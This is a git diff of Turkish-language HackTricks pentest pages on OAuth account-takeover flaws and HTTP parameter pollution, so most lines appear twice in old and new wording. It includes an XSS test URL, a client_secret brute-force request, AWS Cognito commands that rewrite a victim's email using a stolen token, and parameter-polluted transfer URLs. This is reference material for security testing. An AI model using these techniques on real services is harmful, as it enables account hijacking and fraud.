`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik açısından önemlidir, çünkü hassas verileri, örneğin yetkilendirme kodlarını, yetkilendirme sonrası nereye gönderileceğini yönlendirir. Yanlış yapılandırılmışsa, saldırganların bu istekleri kötü amaçlı sunuculara yönlendirmesine izin vererek hesap ele geçirmelerine olanak tanıyabilir.
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Bunlar, katı yol eşleştirmesinden belirli etki alanı veya alt dizindeki herhangi bir URL'i kabul etmeye kadar uzanabilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regexlerin sömürülmesi ve belirteç hırsızlığı için HTML enjeksiyonu bulunur.
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Bunlar, katı yol eşleştirmesinden belirli etki alanı veya alt dizindeki herhangi bir URL'yi kabul etmeye kadar uzanabilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regexlerin sömürülmesi ve belirteç hırsızlığı için HTML enjeksiyonu bulunur.
`redirect_uri` dışında, `client_uri`, `policy_uri`, `tos_uri` ve `initiate_login_uri` gibi diğer OAuth ve OpenID parametreleri de yönlendirme saldırılarına duyarlıdır. Bu parametreler isteğe bağlıdır ve destekleri sunucular arasında değişir.
Bir OpenID sunucusunu hedefleyenler için keşif ucu noktası (`**.well-known/openid-configuration**`), genellikle `registration_endpoint`, `request_uri_parameter_supported` ve "`require_request_uri_registration` gibi değerli yapılandırma ayrıntılarını listeleyebilir. Bu ayrıntılar, sunucunun kayıt ucu noktasını ve diğer yapılandırma özelliklerini tanımlamada yardımcı olabilir.
Bir OpenID sunucusunu hedefleyenler için keşif ucu noktası (`**.well-known/openid-configuration**`), genellikle `registration_endpoint`, `request_uri_parameter_supported` ve "`require_request_uri_registration` gibi değerli yapılandırma ayrıntılarını listeleyebilir. Bu ayrıntılar, kayıt ucu noktasını ve sunucunun diğer yapılandırma ayrıntılarını tanımlamada yardımcı olabilir.
### Yönlendirme uygulamasında XSS <a href="#bda5" id="bda5"></a>
### Yönlendirme uygulamasındaki XSS <a href="#bda5" id="bda5"></a>
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) muhtemelen yönlendirme **URL'sinin**, kullanıcı kimlik doğrulamasından sonra sunucunun yanıtında **yansıtıldığı** ve **XSS'ye duyarlı** olduğu olabilir. Test etmek için olası yük:
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) muhtemelen yönlendirme **URL'sinin**, kullanıcı kimlik doğrulamasından sonra sunucunun yanıtında **yansıtıldığı** ve **XSS'ye duyarlı** olduğu mümkündür. Test etmek için olası yük:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
@ -91,7 +91,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
OAuth uygulamalarında, **`state` parametresinin** yanlış kullanımı veya ihmal edilmesi, **Cross-Site Request Forgery (CSRF)** saldırılarının riskini önemli ölçüde artırabilir. Bu zafiyet, `state` parametresinin ya **kullanılmaması, sabit bir değer olarak kullanılması veya doğru şekilde doğrulanmaması** durumunda ortaya çıkar ve saldırganların CSRF korumalarını atlamasına izin verir.
Saldırganlar, yetkilendirme sürecini ele geçirerek kendi hesaplarını kurbanın hesabıyla bağlantılı hale getirerek potansiyel **hesap ele geçirmelerine** yol açabilir. Bu özellikle OAuth'nin **kimlik doğrulama amaçlı** kullanıldığı uygulamalarda son derece kritiktir.
Saldırganlar, yetkilendirme sürecini ele geçirerek kendi hesaplarını bir kurbanın hesabıyla bağlayarak potansiyel **hesap ele geçirmelerine** yol açabilir. Bu özellikle OAuth'nin **kimlik doğrulama amaçlı** kullanıldığı uygulamalarda kritiktir.
Bu zafiyetin gerçek dünya örnekleri çeşitli **CTF meydan okumalarında** ve **hacking platformlarında** belgelenmiş ve pratik sonuçlarını vurgulamıştır. Sorun, **Slack**, **Stripe** ve **PayPal** gibi üçüncü taraf hizmetlerle entegrasyonlara da uzanır, burada saldırganlar bildirimleri veya ödemeleri kendi hesaplarına yönlendirebilirler.
@ -99,19 +99,19 @@ Bu zafiyetin gerçek dünya örnekleri çeşitli **CTF meydan okumalarında** ve
### Hesap Ele Geçirme Öncesi <a href="#ebe4" id="ebe4"></a>
1. **Hesap Oluştururken E-posta Doğrulaması Olmadan**: Saldırganlar, kurbanın e-postasını kullanarak önceden bir hesap oluşturabilirler. Eğer kurban daha sonra giriş yapmak için üçüncü taraf bir hizmet kullanırsa, uygulama bu üçüncü taraf hesabını yanlışlıkla saldırganın önceden oluşturduğu hesapla ilişkilendirebilir ve yetkisiz erişime yol açabilir.
1. **Hesap Oluştururken E-posta Doğrulaması Olmadan**: Saldırganlar, kurbanın e-postasını kullanarak önceden bir hesap oluşturabilirler. Kurban daha sonra giriş yapmak için üçüncü taraf bir hizmet kullanırsa, uygulama bu üçüncü taraf hesabını yanlışlıkla saldırganın önceden oluşturulan hesabına bağlayabilir ve yetkisiz erişime yol açabilir.
2. **Geçerli Olmayan OAuth E-posta Doğrulamasını Sömürme**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini sömürebilir ve kendi servislerine kaydolup daha sonra hesap e-postasını kurbanın e-postasıyla değiştirebilirler. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimine yol açar, ancak farklı bir saldırı vektörü aracılığıyla gerçekleşir.
2. **Geçerli Olmayan OAuth E-posta Doğrulamasını Sömürme**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini sömürebilir ve kendi servislerine kaydolup ardından hesap e-postasını kurbanın e-postasıyla değiştirebilirler. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimine ve farklı bir saldırı vektörü aracılığıyla risk oluşturur.
### Sırların Açığa Çıkarılması <a href="#e177" id="e177"></a>
### Sırların Açıklanması <a href="#e177" id="e177"></a>
Gizli OAuth parametrelerini tanımlamak ve korumak hayati önem taşır. **`client_id`** güvenle açıklanabilirken, **`client_secret`**'in ıklanması önemli riskler oluşturur. Eğer `client_secret` tehlikeye atılırsa, saldırganlar uygulamanın kimliğini ve güvenini sömürerek kullanıcı `access_token`'larını ve özel bilgileri **çalabilirler**.
Gizli OAuth parametrelerini tanımlamak ve korumak hayati önem taşır. **`client_id`** güvenle açıklanabilirken, **`client_secret`**'in ifşa edilmesi önemli riskler oluşturur. Eğer `client_secret` tehlikeye atılırsa, saldırganlar uygulamanın kimliğini ve güvenini sömürerek kullanıcı `access_token`'larını ve özel bilgileri **çalabilirler**.
Uygulamaların yetkilendirme `code`'unun `access_token` ile değiş tokuşunu sunucu tarafında değil istemci tarafında yanlış şekilde işlemesi durumunda yaygın bir zafiyet ortaya çıkar. Bu hata, `client_secret`'in açığa çıkmasına yol açar ve saldırganların uygulama adına `access_token`'lar oluşturmasına olanak tanır. Dahası, sosyal mühendislik aracılığıyla saldırganlar, OAuth yetkilendirmesine ek kapsamlar ekleyerek uygulamanın güvenilir durumunu daha da kötüye kullanabilirler.
Yaygın bir zafiyet, uygulamaların yetkilendirme `code`'unun `access_token` karşılığını sunucu tarafında değil istemci tarafında yanlış şekilde işlemesinden kaynaklanır. Bu hata, `client_secret`'in açığa çıkmasına yol açar ve saldırganların uygulama adına `access_token`'lar oluşturmasına olanak tanır. Dahası, sosyal mühendislik aracılığıyla saldırganlar, OAuth yetkilendirmesine ek kapsamlar ekleyerek ayrıcalıkları artırabilir ve uygulamanın güvenilir durumunu daha da kötüye kullanabilirler.
### İstemci Sırrı Kaba Kuvvet Saldırısı
Kimlik sağlayıcı ile hizmet sağlayıcısının **istemci_sırrını kaba kuvvet** ile deneyebilir ve hesapları çalmaya çalışabilirsiniz.\
Kimlik sağlayıcı ile hizmet sağlayıcısının **client\_secret**'ini **kaba kuvvet saldırısı** ile deneyebilirsiniz, böylece hesapları çalmaya çalışabilirsiniz.\
BF'ye yönelik istek benzer olabilir:
```
POST /token HTTP/1.1
@ -124,7 +124,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header sızdıran Code + State
Müşteri **code ve state**'e sahip olduktan sonra, farklı bir sayfaya göz attığında **Referer başlığında yansıtılıyorsa**, zayıf bir durumdadır.
Müşteri **koda ve state'e** sahip olduktan sonra, farklı bir sayfaya göz attığında **Referer başlığında yansıtılıyorsa**, zayıf bir durumdadır.
### Erişim Belirteci Tarayıcı Geçmişinde Saklanıyor
@ -138,13 +138,13 @@ Tarayıcı geçmişine gidin ve **erişim belirtecinin orada kaydedilip kaydedil
Eğer **yetkilendirme kodunu alabilir ve farklı bir müşteriyle kullanabilirseniz, diğer hesapları ele geçirebilirsiniz**.
### Mutlu Yollar, XSS, İframe'ler ve Kod & State değerlerini sızdırmak için Post Mesajları
### Mutlu Yollar, XSS, İframe'ler ve Kodu ve state değerlerini sızdırmak için Post Mesajları
**[Bu yazıyı kontrol edin](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
### AWS Cognito <a href="#bda5" id="bda5"></a>
Bu hata ödülü raporunda: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) görebilirsiniz ki **AWS Cognito**'nun kullanıcıya geri verdiği **belirtecin**, kullanıcı verilerini **üzerine yazma iznine sahip olabileceği**. Bu nedenle, **farklı bir kullanıcı e-postası için kullanıcı e-postasını değiştirebilirseniz**, başkalarının hesaplarını **ele geçirebilirsiniz**.
Bu hata ödülü raporunda: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) görebilirsiniz ki **AWS Cognito**'nun kullanıcıya geri verdiği **belirtecin**, **kullanıcı verilerini üzerine yazma iznine sahip olabileceğini**. Bu nedenle, **farklı bir kullanıcı e-postası için kullanıcı e-postasını değiştirebilirseniz**, başkalarının hesaplarını **ele geçirebilirsiniz**.
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -161,39 +161,71 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
]
}
```
### Diğer Uygulamaların Token'larının Kötüye Kullanımı <a href="#bda5" id="bda5"></a>
AWS Cognito'yu kötüye kullanma hakkında daha detaylı bilgi için şu linke bakabilirsiniz:
[**Bu yazıda belirtildiği gibi**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **token** (ve bir kod değil) bekleyen OAuth akışları, token'ın uygulamaya ait olup olmadığını kontrol etmezse savunmasız olabilir.
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
Bu, çünkü bir **saldırgan**, kendi uygulamasında **OAuth'yi destekleyen ve Facebook ile giriş yapan bir uygulama oluşturabilir**. Ardından, bir kurbanın Facebook'ta **saldırganın uygulamasında oturum açtığında**, saldırgan, **kurbanın OAuth uygulamasına verilen kullanıcı token'ını alabilir ve bu token'ı kullanarak kurbanın OAuth uygulamasına kurbanın kullanıcı token'ı ile oturum açabilir**.
### Diğer Uygulamaların Token'larının Kötüye Kullanılması <a href="#bda5" id="bda5"></a>
[**Bu yazıda belirtildiği gibi**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **token** (ve bir kod değil) bekleyen OAuth akışları, token'ın uygulamaya ait olup olmadığını kontrol etmezse zayıf olabilir.
Bu, çünkü bir **saldırgan**, kendi uygulamasında **OAuth'yi destekleyen ve Facebook ile giriş yapabilen bir uygulama oluşturabilir**. Ardından, bir kurbanın Facebook'ta **saldırganın uygulamasında oturum açtığında**, saldırgan, **kurbanın OAuth uygulamasında verilen kullanıcı token'ını alabilir ve kurbanın kullanıcı token'ını kullanarak kurbanın OAuth uygulamasına giriş yapabilir**.
{% hint style="danger" %}
Bu nedenle, saldırgan, kullanıcının kendi OAuth uygulamasına erişmesini sağlarsa, token'ın verildiği uygulama kimliğine bakılmaksızın token bekleyen ve token'ın uygulama kimliğine verilip verilmediğini kontrol etmeyen uygulamalarda kurbanın hesabını ele geçirebilecektir.
Bu nedenle, saldırgan, kullanıcının kendi OAuth uygulamasına erişmesini sağlarsa, token'ın verildiği uygulama kimliğine bakılmadan bir token bekleyen ve token'ın uygulama kimliğine verilip verilmediğini kontrol etmeyen uygulamalarda kurbanın hesabını ele geçirebilecektir.
{% endhint %}
### İki bağlantı ve çerez <a href="#bda5" id="bda5"></a>
[**Bu yazıda belirtildiği gibi**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın **dönüş URL'si**ni saldırganın ana bilgisayarına işaret eden bir sayfayı açmasını sağlamak mümkündü. Bu bilgi bir **çerezde (RU)** saklanacak ve **daha sonra** **prompt**, **kullanıcıya** bu saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
[**Bu yazıda belirtildiği gibi**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın bir **returnUrl** ile saldırganın ana bilgisayarını işaret eden bir sayfayı açmasının mümkün olduğu belirtildi. Bu bilgi bir **çerezde (RU)** saklanacak ve **daha sonra** **prompt**, **kullanıcıya** o saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
Bu prompt'u atlamak için, **dönüş URL'sini** kullanan bu RU çerezini ayarlayacak **Oauth akışını başlatmak için bir sekme açmak**, prompt gösterilmeden önce sekme kapatmak ve bu değeri olmadan yeni bir sekme açmak mümkündü. Ardından, **prompt, saldırganın ana bilgisayarından bahsetmeyecek**, ancak çerez ona ayarlanacak, böylece **token yönlendirmede saldırganın ana bilgisayarına gönderilecektir**.
Bu prompt'u atlamak için, **returnUrl**'yi kullanan **Oauth akışını başlatan** bir sekme açmak, prompt gösterilmeden önce sekme kapatmak ve bu değeri olmadan yeni bir sekme açmak mümkündü. Ardından, **prompt, saldırganın ana bilgisayarından bahsetmeyecek**, ancak çerez ona ayarlanacak, böylece yönlendirmede **token saldırganın ana bilgisayarına gönderilecektir**.
### SSRF parametreleri <a href="#bda5" id="bda5"></a>
Bu tekniğin daha fazla ayrıntısı için **[bu araştırmayı kontrol edin](https://portswigger.net/research/hidden-oauth-attack-vectors)**.
Bu tekniğin daha ayrıntılı bilgileri için **[bu araştırmayı kontrol edin](https://portswigger.net/research/hidden-oauth-attack-vectors)**.
OAuth'da Dinamik İstemci Kaydı, özellikle **Sunucu Tarafı İstek Sahtekarlığı (SSRF)** saldırıları için daha az açık ancak kritik bir vektör olarak hizmet verir. Bu uç nokta, OAuth sunucularının hassas URL'leri de içeren istemci uygulamaları hakkında ayrıntılar almasına olanak tanır.
OAuth'da Dinamik İstemci Kaydı, özellikle **Sunucu Tarafı İstek Sahtekarlığı (SSRF)** saldırıları için daha az açık ama kritik bir vektör olarak hizmet verir. Bu uç nokta, OAuth sunucularının, hassas URL'leri de içeren istemci uygulamaları hakkında ayrıntılar almasını sağlar ve bu URL'lerin kötüye kullanılmasına neden olabilir.
**Ana Noktalar:**
- **Dinamik İstemci Kaydı** genellikle `/register` ile eşleştirilir ve `client_name`, `client_secret`, `redirect_uris` ve POST istekleri aracılığıyla logolar veya JSON Web Anahtar Kümesi (JWK'ler) için URL'ler gibi ayrıntıları kabul eder.
- Bu özellik, **RFC7591** ve **OpenID Connect Registration 1.0** tarafından belirlenen özelliklere uyar ve SSRF'ye ık olabilecek parametreleri içerir.
- Bu özellik, **RFC7591** ve **OpenID Connect Registration 1.0** tarafından belirlenen özelliklere uyar ve SSRF'ye duyarlı olabilecek parametreleri içerir.
- Kayıt süreci, sunucuları yanlışlıkla SSRF'ye maruz bırakabilir:
- **`logo_uri`**: Sunucu tarafından alınabilecek istemci uygulamasının logosu için bir URL, SSRF'yi tetikleyebilir veya URL yanlış işlenirse XSS'e yol açabilir.
- **`jwks_uri`**: İstemcinin JWK belgesine bir URL, kötü amaçlı olarak oluşturulursa, sunucunun saldırganın kontrol ettiği bir sunucuya çıkış istekleri yapmasına neden olabilir.
- **`sector_identifier_uri`**: Bir JSON dizisine `redirect_uris` referans verir, sunucu bunu alarak SSRF fırsatı yaratabilir.
- **`request_uris`**: İstemci için izin verilen istek URI'lerini listeler, sunucunun yetkilendirme sürecinin başında bu URI'leri alması durumunda sömürülebilir.
- **`sector_identifier_uri`**: Sunucunun alabileceği `redirect_uris` JSON dizisine referans verir, bu da sunucunun SSRF fırsatı yaratabilir.
- **`request_uris`**: İstemci için izin verilen istek URI'lerini listeler, bu URI'lerin yetkilendirme sürecinin başında sunucu tarafından alınması durumunda kötüye kullanılabilir.
**Sömürü Stratejisi:**
- SSRF, `logo_uri`, `jwks_uri` veya `sector_identifier_uri` gibi parametrelerde kötü amaçlı URL'lerle yeni bir istemci kaydedilerek tetiklenebilir.
- Doğrudan `request_uris` üzerinden sömürü belki de beyaz liste kontrolleri ile hafifletilebilir, ancak önceden kaydedilmiş, saldırgan tarafından kontrol edilen bir `request_uri` sağlamak, yetkilendirme aşamasında SSRF'yi kolaylaştırabilir.
- Doğrudan `request_uris` üzerinden sömürü belki de beyaz liste kontrolleri ile azaltılabilir, ancak önceden kaydedilmiş, saldırgan tarafından kontrol edilen bir `request_uri` sağlamak, yetkilendirme aşamasında SSRF'yi kolaylaştırabilir.
## OAuth Sağlayıcıları Yarış Koşulları
Test ettiğiniz platform bir OAuth sağlayıcısı ise, olası Yarış Koşullarını test etmek için [**bunu okuyun**](race-condition.md).
## Referanslar
* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme hakkında öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destekleyin.**
</details>

View file

@ -6,15 +6,15 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -27,41 +27,41 @@ HTTP Parametre Kirliliği (HPP), saldırganların HTTP parametrelerini manipüle
Bir bankacılık uygulaması işlem URL'si:
- **Orijinal URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
- **Orijinal URL:** `https://www.kurban.com/gonder/?from=hessapA&to=hessapB&miktar=10000`
Ek bir `from` parametresi ekleyerek:
- **Manipüle Edilmiş URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
- **Manipüle Edilmiş URL:** `https://www.kurban.com/gonder/?from=hessapA&to=hessapB&miktar=10000&from=hessapC`
İşlem, `accountA` yerine `accountC`'ye yanlışlıkla ücretlendirilebilir, HPP'nin işlemleri veya şifre sıfırlamaları, 2FA ayarları veya API anahtarı istekleri gibi diğer işlevleri manipüle etme potansiyelini gösterir.
### **Teknolojiye Özgü Parametre Ayrıştırma**
- Parametrelerin ayrıştırılması ve önceliklendirilmesi, temel web teknolojisine bağlı olarak değişir ve HPP'nin nasıl sömürülebileceğini etkiler.
- Parametrelerin nasıl ayrıştırıldığı ve önceliklendirildiği, temel web teknolojisine bağlı olarak değişir ve HPP'nin nasıl sömürülebileceğini etkiler.
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) gibi araçlar, bu teknolojileri ve ayrıştırma davranışlarını tanımlamaya yardımcı olur.
## PHP ve HPP Sömürüsü
**OTP Manipülasyonu Durumu:**
- **Bağlam:** Bir OTP gerektiren bir giriş mekanizması sömürüldü.
- **Yöntem:** Burp Suite gibi araçlar kullanılarak OTP isteği ele geçirilerek saldırganlar HTTP isteğinde `email` parametresini çoğalttı.
- **Sonuç:** İlk e-posta için amaçlanan OTP, manipüle edilen istekte belirtilen ikinci e-posta adresine gönderildi. Bu hata, amaçlanan güvenlik önlemini atlayarak yetkisiz erişime izin verdi.
- **Bağlam:** Bir OTP gerektiren giriş mekanizması sömürüldü.
- **Yöntem:** Burp Suite gibi araçlar kullanılarak OTP isteği yakalanarak saldırganlar HTTP isteğinde `email` parametresini çoğalttı.
- **Sonuç:** OTP, asıl e-posta için değil, manipüle edilen istekte belirtilen ikinci e-postaya gönderildi. Bu hata, amaçlanan güvenlik önlemini atlayarak yetkisiz erişime izin verdi.
Bu senaryo, uygulamanın arka uçundaki kritik bir gözden kaçırma durumunu vurgular; bu durumda ilk `email` parametresi OTP oluşturmak için işlendi ancak teslimat için son parametre kullanıldı.
Bu senaryo, uygulamanın arka uçundaki kritik bir gözden kaçırma durumunu vurgular; OTP oluşturmak için ilk `email` parametresini işledi, ancak teslimat için son parametreyi kullandı.
**API Anahtarı Manipülasyonu Durumu:**
- **Senaryo:** Bir uygulama, kullanıcıların API anahtarlarını profil ayarları sayfası aracılığıyla güncellemesine izin verir.
- **Senaryo:** Bir uygulama, kullanıcıların API anahtarlarını profil ayarları sayfası aracılığıyla güncellemelerine izin verir.
- **Saldırı Vektörü:** Bir saldırgan, POST isteğine ek bir `api_key` parametresi ekleyerek API anahtarı güncelleme işlevinin sonucunu manipüle edebileceğini keşfeder.
- **Teknik:** Burp Suite gibi bir araç kullanarak, saldırgan, biri meşru diğeri kötü niyetli olmak üzere iki `api_key` parametresini içeren bir istek oluşturur. Sunucu, yalnızca son oluşumu işleyerek API anahtarını saldırganın sağladığı değere günceller.
- **Teknik:** Burp Suite gibi bir araç kullanarak, saldırgan, iki `api_key` parametresi içeren bir istek oluşturur: biri meşru, diğeri kötü niyetli. Sunucu, yalnızca son oluşumu işleyerek API anahtarını saldırganın sağladığı değere günceller.
- **Sonuç:** Saldırgan, kurbanın API işlevi üzerinde kontrol kazanır, potansiyel olarak yetkisiz şekilde özel verilere erişebilir veya bunları değiştirebilir.
Bu örnek, özellikle API anahtar yönetimi gibi kritik özelliklerde güvenli parametre işleme gerekliliğini vurgular.
## Parametre Ayrıştırma: Flask vs. PHP
Web teknolojilerinin çift HTTP parametrelerini nasıl ele aldığı farklılık gösterir ve HPP saldırılarına karşı duyarlılıklarını etkiler:
Web teknolojilerinin çift HTTP parametrelerini nasıl ele aldığı farklılık gösterir, HPP saldırılarına karşı duyarlılıklarını etkiler:
- **Flask:** Sorgu dizesinde `a=1&a=2` gibi karşılaşılan ilk parametre değerini benimser, başlangıçtaki örneği sonraki çoğaltmalardan önce önceliklendirir.
- **PHP (Apache HTTP Sunucusu üzerinde):** Aksine, verilen örnekte `a=2`'yi tercih eder. Bu davranış, saldırganın manipüle edilen parametreyi orijinaline tercih ederek HPP sömürülerini yanlışlıkla kolaylaştırabilir.
@ -70,7 +70,7 @@ Web teknolojilerinin çift HTTP parametrelerini nasıl ele aldığı farklılık
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -81,10 +81,10 @@ Web teknolojilerinin çift HTTP parametrelerini nasıl ele aldığı farklılık
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
